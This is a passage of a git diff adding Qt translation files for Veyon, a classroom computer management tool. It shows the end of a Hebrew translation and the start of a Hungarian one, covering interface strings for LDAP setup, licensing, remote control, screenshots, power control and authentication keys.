entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + הצג עזרה עבור פקודה מסויימת + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + הגדרות + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + חלון ראשי + + + toolBar + + + + General + + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + טען הגדרות מקובץ + + + Save settings to file + שמור הגדרות לקובץ + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + אודות Veyon + + + Auto + + + + Computer rooms + + + + About + אודות + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + גישה נדחתה + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + צילומי מסך + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + אפס הגדרות + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + חפש משתמשים ומחשבים + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + ... + + + User configuration + הדגרות משתמש + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + צילומי מסך + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + הגדרות בסיסיות + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + ממשק משתמש + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + הצג עזרה עבור פקודה מסויימת + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + חדר/מחשב + + + + PasswordDialog + + Username + שם משתמש + + + Password + סיסמה + + + Veyon Logon + + + + Authentication error + שגיאה באימות + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + הדלקה + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + איתחול + + + Click this button to reboot all computers. + + + + Power down + כיבוי + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + אשר הפעלה מחדש + + + Confirm power down + אשר כיבוי + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + שליטה מרחוק + + + Open a remote control window for a computer. + + + + Remote access + גישה מרחוק + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + צפייה בלבד + + + Remote control + שליטה מרחוק + + + Send shortcut + + + + Fullscreen + מסך מלא + + + Window + חלון + + + Quit + + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + + + + Connected. + מחובר. + + + Screenshot + צילום מסך + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + צילום מסך + + + + ScreenshotFeaturePlugin + + Screenshot + צילום מסך + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + משתמש: + + + Date: + תאריך: + + + Time: + זמן: + + + Show + + + + Delete + מחק + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + מחשב: + + + + ServiceConfigurationPage + + General + + + + Autostart + + + + Hide tray icon + + + + Start service + התחל שרות + + + Stopped + + + + Stop service + הפסק שרות + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + שלחו הודעת טקסט + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + הודעת טקסט + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + הודעה מהמורה + + + Send a message to a user + שלח הודעה למשתמש + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + אין גישת כתיבה + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + לחץ על כפתור זה לנתק את המשתמשים מכל המחשבים. + + + Confirm user logout + אישור ניתוק משתמש + + + Do you really want to logout the selected users? + האם אתה בטוח שברצונך לנתק את המשתמשים שנבחרו? + + + Logout + התנתק + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/hu.ts b/translations/hu.ts new file mode 100644 index 0000000..f2ba0b2 --- /dev/null +++ b/translations/hu.ts @@ -0,0 +1,3929 @@ + + + AboutDialog + + About + Névjegy + + + Translation + Fordítás + + + License + Licenc + + + About Veyon + Veyon-ról + + + Contributors + Közreműködők + + + Version: + Verzió: + + + Website: + Weboldal: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + A Veyon esetleges fordítási hibáit kérem, jelezd a kisskalmandaniel@gmail.hu címre. + +Ha érdekel a Veyon fordítása (saját vagy egyéb nyelvre), esetleg meglévő fordítást szeretnél továbbfejleszteni, vedd fel a kapcsolatot a Veyon fejlesztőivel. + + + About %1 %2 + %1 %2 + + + Support Veyon project with a donation + Adakozással támogasd a Veyon projektet + + + + AccessControlPage + + Computer access control + Számítógéphozzáférés-vezérlés + + + Grant access to every authenticated user (default) + Hozzáférés engedélyezése az összes hitelesített felhasználó számára (alapértelmezett) + + + Test + Tesztelés + + + Restrict access to members of certain user groups + Hozzáférés tiltása bizonyos felhasználói csoport tagjainak + + + Process access control rules + Hozzáférés-vezérlési folyamatokra vonatkozó szabályok + + + User groups authorized for computer access + Számítógép-hozzáférést engedélyezett felhasználói csoportok + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Kérem, add meg azokat a csoportokat, melyek tagjainak hozzáférése kellene, hogy legyen a Veyon hálózatában lévő számítógépekhez. + + + Authorized user groups + Hitelesített felhasználói csoportok + + + All groups + Összes csoport + + + ... + ... + + + Access control rules + Hozzáférési szabályok + + + Add access control rule + Hozzáférési szabály létrehozása + + + Remove access control rule + Hozzáférési szabály eltávolítása + + + Move selected rule down + Kijelölt szabály mozgatása lefelé + + + Move selected rule up + Kijelölt szabály mozgatása felfelé + + + Edit selected rule + Kijelölt szabály módosítása + + + Enter username + Add meg a felhasználónevet + + + Please enter a user login name whose access permissions to test: + Kérem, add meg a felhasználó bejelentkezési nevét, akinek a hozzáférését teszteled: + + + Access allowed + Hozzáférés engedélyezve + + + The specified user is allowed to access computers with this configuration. + A kijelölt felhasználó hozzáférhet a számítógéphez a jelenlegi konfiguráció alapján. + + + Access denied + Hozzáférés megtagadva + + + The specified user is not allowed to access computers with this configuration. + A kijelölt felhasználó nem férhet hozzá a számítógéphez a jelenlegi konfiguráció alapján. + + + Enable usage of domain groups + Domain csoportok használatának bekapcsolása + + + User groups backend: + Felhasználói csoportok háttere: + + + Missing user groups backend + Hiányzik a felhasználói csoportok háttere + + + No default user groups plugin was found. Please check your installation! + Nincs alapértelmezett felhasználóicsoport-bővítmény. Kérem, ellenőrizd telepítésed! + + + + AccessControlRuleEditDialog + + Edit access control rule + Hozzáférési szabály módosítása + + + General + Általános + + + enter a short name for the rule here + írd ide a szabály rövid nevét + + + Rule name: + Szabály megnevezése: + + + enter a description for the rule here + írd ide néhány szót a szabályról + + + Rule description: + Szabály leírása: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Feltételek megfordítása ("van/volt" cseréje: "nincs/nem volt") + + + Conditions + Feltételek + + + is member of group + tagja a csoportnak + + + is located in room + szobában található + + + Accessing computer is localhost + A hozzáférő számítógép a helyi számítógép + + + Accessing user is logged on user + A hozzáférő felhasználó már bejelentkezett + + + Accessing user is already connected + A hozzáférő felhasználó már csatlakozott + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Ha egynél több feltétel aktív, az összes feltételnek teljesülnie kell, hogy a szabály életbe lépjen (logikai ÉS). Ha a szabályok közül csak egy teljesül (logikai VAGY), kérem, készíts több hozzáférés-vezérlési szabályt. + + + Action + Művelet + + + Allow access + Hozzáférés engedélyezése + + + Deny access + Hozzáférés tiltása + + + Ask logged on user for permission + Bejelentkezett felhasználótól jogosultság kérése + + + None (rule disabled) + Egyik sem (egyik szabály sincs bekapcsolva) + + + Accessing user + Hozzáférő felhasználó + + + Accessing computer + Hozzáférő számítógép + + + Local (logged on) user + Helyi (bejelentkezett) felhasználó + + + Local computer + Helyi számítógép + + + Always process rule and ignore conditions + Mindig hassanak a szabályok és hagyja figyelmen kívül a feltételeket + + + No user logged on + Egy bejelentkezett felhasználó sincs + + + Accessing computer is located in the same room as local computer + A hozzáférő számítógép a helyi számítógéppel egy szobában van + + + Accessing user has one or more groups in common with local (logged on) user + A hozzáférő felhasználó egy vagy több csoport közös tagja a helyi (bejelentkezett) felhasználóval + + + + AccessControlRulesTestDialog + + Access control rules test + Hozzáférési szabály tesztelése + + + Accessing user: + Hozzáférő felhasználó: + + + Local computer: + Helyi számítógép: + + + Accessing computer: + Hozzáférő számítógép: + + + Please enter the following user and computer information in order to test the configured ruleset. + Kérem, add meg a következő felhasználó- és számítógép-információt, hogy tesztelhessem a beállított szabályokat. + + + Local user: + Helyi felhasználó: + + + Connected users: + Csatlakozott felhasználó: + + + The access in the given scenario is allowed. + Az adott esetben a hozzáférés engedélyezett. + + + The access in the given scenario is denied. + Az adott esetben a hozzáférés tiltott. + + + The access in the given scenario needs permission of the logged on user. + Az adott esetben a hozzáféréshez a bejelentkezett felhasználó jogosultságára van szükség. + + + ERROR: Unknown action + HIBA: Ismeretlen művelet + + + Test result + Teszt eredménye: + + + + AuthKeysConfigurationPage + + Authentication keys + Hitelesítési kulcs + + + Introduction + Bevezetés + + + Key file directories + Kulcsfájlok mappái + + + Public key file base directory + Publikus kulcsfájl alapmappája + + + Private key file base directory + Privát kulcsfájl alapmappája + + + ... + ... + + + Available authentication keys + Elérhető hitelesítési kulcsok + + + Create key pair + Kulcspár létrehozása + + + Delete key + Kulcs törlése + + + Import key + Kulcs importálása + + + Export key + Kulcs exportálása + + + Set access group + Hozzáférési csoport beállítása + + + Key files (*.pem) + Kulcsfájlok (*.pem) + + + Authentication key name + Hitelesítési kulcs neve + + + Please enter the name of the user group or role for which to create an authentication key pair: + Kérem, add meg a felhasználó csoport vagy szerep nevét, amely számára létrehozod a hitelesítési kulcspárt: + + + Do you really want to delete authentication key "%1/%2"? + Biztos, hogy törli "%1%2" hitelesítési kulcsot? + + + Please select a key to delete! + Kérem, válaszd ki a törlendő kulcsot! + + + Please enter the name of the user group or role for which to import the authentication key: + Kérem, add meg a felhasználó csoport vagy szerep nevét, amely számára importálod a hitelesítési kulcsot: + + + Please select a key to export! + Kérem, válaszd ki az importálandó kulcsot! + + + Please select a user group which to grant access to key "%1": + Kérem, válassz felhasználó szerepet, amely számára hozzáférést adsz "%1" kulcshoz: + + + Please select a key which to set the access group for! + Kérem, válassz egy kulcsot, amelyhez hozzáférési csoportot állítasz be! + + + Please perform the following steps to set up key file authentication: + Kérem, hajtsd végre a következő lépéseket a kulcsfájl-hitelesítés beállításához: + + + 1) Create a key pair on the master computer. + 1) Hozz létre egy kulcspárt a mesterszámítógépen. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Állíts be egy hozzáférési csoportot, amelynek tagjai hozzáférhetnek a többi számítógéphez. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Exportáld a nyilvános kulcsot , majd importáld ugyanazon a néven az összes számítógépre. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Kérem, további információkért olvassa le a <a href="https://veyon.readthedocs.io/en/latest/admin/index.html"> Veyon üzemeltetői leírást </a>. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + A hitelesítési kulcspár kettő összetartozó kriptográfiai kulcsból áll, egy privát és egy publikus kulcsból. +A privát kulcs használatával a mester számítógép felhasználói hozzáférhetnek a kliens számítógépekhez. +Fontos, hogy csak hitelesített felhasználóknak legyen olvasási hozzáférése a privát kulcsfájlhoz. +A nyilvános kulcsrészt a kliens számítógépen használjuk a bejövő kapcsolatkérések hitelesítéséhez. + + + + AuthKeysManager + + Please check your permissions. + Kérem, ellenőrizd a jogosultságaidat. + + + Key name contains invalid characters! + A kulcs neve érvénytelen karaktereket tartalmaz. + + + Invalid key type specified! Please specify "%1" or "%2". + Érvénytelen kulcstípus-meghatározás. "%1" vagy "%2" lehetséges. + + + Specified key does not exist! Please use the "list" command to list all installed keys. + A megadott kulcs nem létezik! Az összes telepített kulcs listázásához használja a "list" parancsot. + + + One or more key files already exist! Please delete them using the "delete" command. + Egy vagy több kulcs már létezik! Kérem, törölje ezeket a "delete" paranccsal. + + + Creating new key pair for "%1" + "%1" számára új kulcspár létrehozása + + + Failed to create public or private key! + Publikus vagy privát kulcs importálási hiba! + + + Newly created key pair has been saved to "%1" and "%2". + Az újonnan létrehozott kulcspárt mentettük: "%1" és "%2". + + + Could not remove key file "%1"! + Nem sikerült eltávolítani "%1" kulcsfájlt! + + + Could not remove key file directory "%1"! + Nem sikerült eltávolítani "%1" kulcsfájl-mappát! + + + Failed to create directory for output file. + A kimeneti fájl számára a mappa létrehozása sikertelen. + + + File "%1" already exists. + "%1" fájl már létezik. + + + Failed to write output file. + Kimeneti fájl írási hiba. + + + Key "%1/%2" has been exported to "%3" successfully. + "%1/%2" kulcsot sikeresen importáltuk ide: "%3". + + + Failed read input file. + Bemenet fájl olvasási hiba. + + + File "%1" does not contain a valid private key! + "%1" fájl nem tartalmaz valid privát kulcsot! + + + File "%1" does not contain a valid public key! + "%1" fájl nem tartalmaz valid publikus kulcsot! + + + Failed to create directory for key file. + A kulcsfájl számára a mappa létrehozása sikertelen. + + + Failed to write key file "%1". + "%1" kulcsfájl írása sikertelen. + + + Failed to set permissions for key file "%1"! + "%1" kulcsfájl jogosultságainak beállítása sikertelen! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + "%1/%2" kulcsot sikeresen importáltuk. Kérem, az illetéktelen hozzáférés elkerülése érdekében ellenőrizd "%3" fájl jogosultsági beállításait. + + + Failed to convert private key to public key + Privát kulcs importálása publikus kulcsból sikertelen + + + Failed to create directory for private key file "%1". + "%1" privát kulcsfájl számára mappa létrehozása sikertelen. + + + Failed to save private key in file "%1"! + "%1" fájlba a privát kulcsfájl mentése sikertelen! + + + Failed to set permissions for private key file "%1"! + "%1" privát kulcsfájl jogosultságainak beállítása sikertelen! + + + Failed to create directory for public key file "%1". + "%1" publikus kulcsfájl számára mappa létrehozása sikertelen. + + + Failed to save public key in file "%1"! + "%1" fájlba a publikus kulcsfájl mentése sikertelen! + + + Failed to set permissions for public key file "%1"! + "%1" publikus kulcsfájl jogosultságainak beállítása sikertelen! + + + Failed to set owner of key file "%1" to "%2". + "%1" -> "%2" kulcsfájl tulajdonosának beállítása sikertelen. + + + Failed to set permissions for key file "%1". + "%1" kulcsfájl jogosultságainak beállítása sikertelen! + + + Key "%1" is now accessible by user group "%2". + "%2" csoport felhasználói hozzáférhetnek "%1" kulcshoz. + + + <N/A> + <N/A> + + + Failed to read key file. + Kulcsfájl olvasási hiba. + + + + AuthKeysPlugin + + Create new authentication key pair + Új hitelesítési kulcspár létrehozása + + + Delete authentication key + Hitelesítési kulcs törlése + + + List authentication keys + Hitelesítési kulcsok felsorolása + + + Import public or private key + Publikus vagy privát kulcsok importálása + + + Export public or private key + Publikus vagy privát kulcsok exportálása + + + Extract public key from existing private key + Publikus kulcs kicsomagolása egy már létező privát kulcsból + + + Set user group allowed to access a key + Felhasználói csoport hozzáférésének beállítása egy kulcshoz + + + KEY + KULCS + + + ACCESS GROUP + HOZZÁFÉRÉSI CSOPORT + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Ez a parancs beállítja a fájlhozzáférési jogosultságot<KEY>értékre, így csak<ACCESS GROUP>felhasználói csoportnak van olvasási hozzáférése a fájlhoz. + + + NAME + NÉV + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Ez a parancs egy új <NAME> nevű hitelesítési kulcspárt hoz létre és menti a privát és a publikus kulcsot a beállított kulcskönyvtárakba. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Ez a parancs törli <KEY> hitelesítési kulcsot a beállított kulcskönyvtárból. Kérem, figyelj arra, hogy törlés után a kulcs már nem állítható vissza. + + + FILE + FÁJL + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Ez a parancs exportálja <KEY> hitelesítési kulcsot <FILE> fájlba. Ha <FILE> nincs megadva, akkor <KEY> nevéből és típusából állítunk elő egy nevet. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Ez a parancs importálja <KEY> hitelesítési kulcsot <FILE> fájlból. Ha <FILE> nincs megadva, akkor <KEY> nevéből és típusából állítunk elő egy nevet. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Ez a parancs a beállított kulcskönyvtárban lévő összes elérhető hitelesítési kulcsot felsorolja. Ha "%1" lehetőség meg van adva, egy, a kulcs részleteit tartalmazó táblázat fog megjelenni. Ha a kulcs nem érhető el, például olvasási jogosultságok hiánya miatt, néhány részlete hiányozhat. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Ez a parancs kicsomagolja a nyilvános kulcsrészt <KEY> privát kulcsból és a megfelelő nyilvános kulcsként menti. + + + Please specify the command to display help for! + Kérem, válaszd ki az a parancsot, melynek súgóját megjelenítsük! + + + TYPE + TÍPUS + + + PAIR ID + PÁR ID + + + Command line support for managing authentication keys + Parancssori támogatás a hitelesítési kulcsok kezeléséhez + + + Commands for managing authentication keys + A hitelesítési kulcsokat kezelő parancsok + + + + AuthKeysTableModel + + Name + Megnevezés + + + Type + Típus + + + Access group + Hozzáférési csoport + + + Pair ID + Pár ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Szobák és számítógépek + + + Rooms + Szobák + + + Computers + Számítógépek + + + Name + Megnevezés + + + Host address/IP + Kiszolgáló címe/IP-je + + + MAC address + Fizikai cím + + + Add new room + Új szoba hozzáadása + + + Remove selected room + Kiválasztott szoba eltávolítása + + + Add new computer + Új számítógép hozzáadása + + + Remove selected computer + Kiválasztott számítógép eltávolítása + + + New room + Új szoba + + + New computer + Új számítógép + + + Builtin directory + Beépített mappa + + + + BuiltinDirectoryPlugin + + Show help for specific command + Konkrét parancsról segítség megjelenítése + + + Add a room or computer + Szoba vagy számítógép hozzáadása + + + Clear all rooms and computers + Összes szoba és számítógép törlése + + + Dump all or individual rooms and computers + Az összes vagy néhány szoba és számítógép mentése + + + List all rooms and computers + Összes szoba és számítógép felsorolása + + + Remove a room or computer + Szoba vagy számítógép eltávolítása + + + Import objects from given file + Objektumok importálása a megadott fájlból + + + Export objects to given file + Objektumok exportálása a megadott fájlba + + + Invalid type specified. Valid values are "%1" or "%2". + Érvénytelen típusmeghatározás. "%1" vagy "%2" lehetséges. + + + Type + Típus + + + Name + Megnevezés + + + Host address + Kiszolgáló címe + + + MAC address + Fizikai cím + + + Specified object not found. + Az adott objektum nem található. + + + File "%1" does not exist! + "%1" fájl nem létezik! + + + Can't open file "%1" for reading! + "%1" fájl nem nyitható meg olvasásra! + + + Unknown argument "%1". + "%1" ismeretlen argumentum. + + + Room "%1" + "%1" szoba + + + Computer "%1" (host address: "%2" MAC address: "%3") + "%1" számítógép (kiszolgáló címe: "%2" fizikai cím: "%3") + + + Unclassified object "%1" with ID "%2" + Be nem sorolt "%1" objektum, ID: "%2" + + + None + Egyik sem + + + Room + Szoba + + + Computer + Számítógép + + + Root + Root + + + Invalid + Érvénytelen + + + Error while parsing line %1. + %1. sor feldolgozásakor hiba keletkezett. + + + Network object directory which stores objects in local configuration + Hálózatobjektum-mappa, ami objektumokat tároló a helyi konfigurációban + + + Builtin (computers and rooms in local configuration) + Beépített (a helyi konfigurációban lévő számítógépek és szobák) + + + Commands for managing the builtin network object directory + A beépített hálózatobjektum-mappát kezelő parancsok + + + No format string or regular expression specified! + Nincs formázott karakterlánc, illetve reguláris kifejezés! + + + Can't open file "%1" for writing! + "%1" fájl nem nyitható meg írásra! + + + No format string specified! + Nincs formázott karakterlánc! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +HASZNÁLATA + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Használható változók: %type% %name% %host% %mac% %room% + +Példák: + +* Az összes 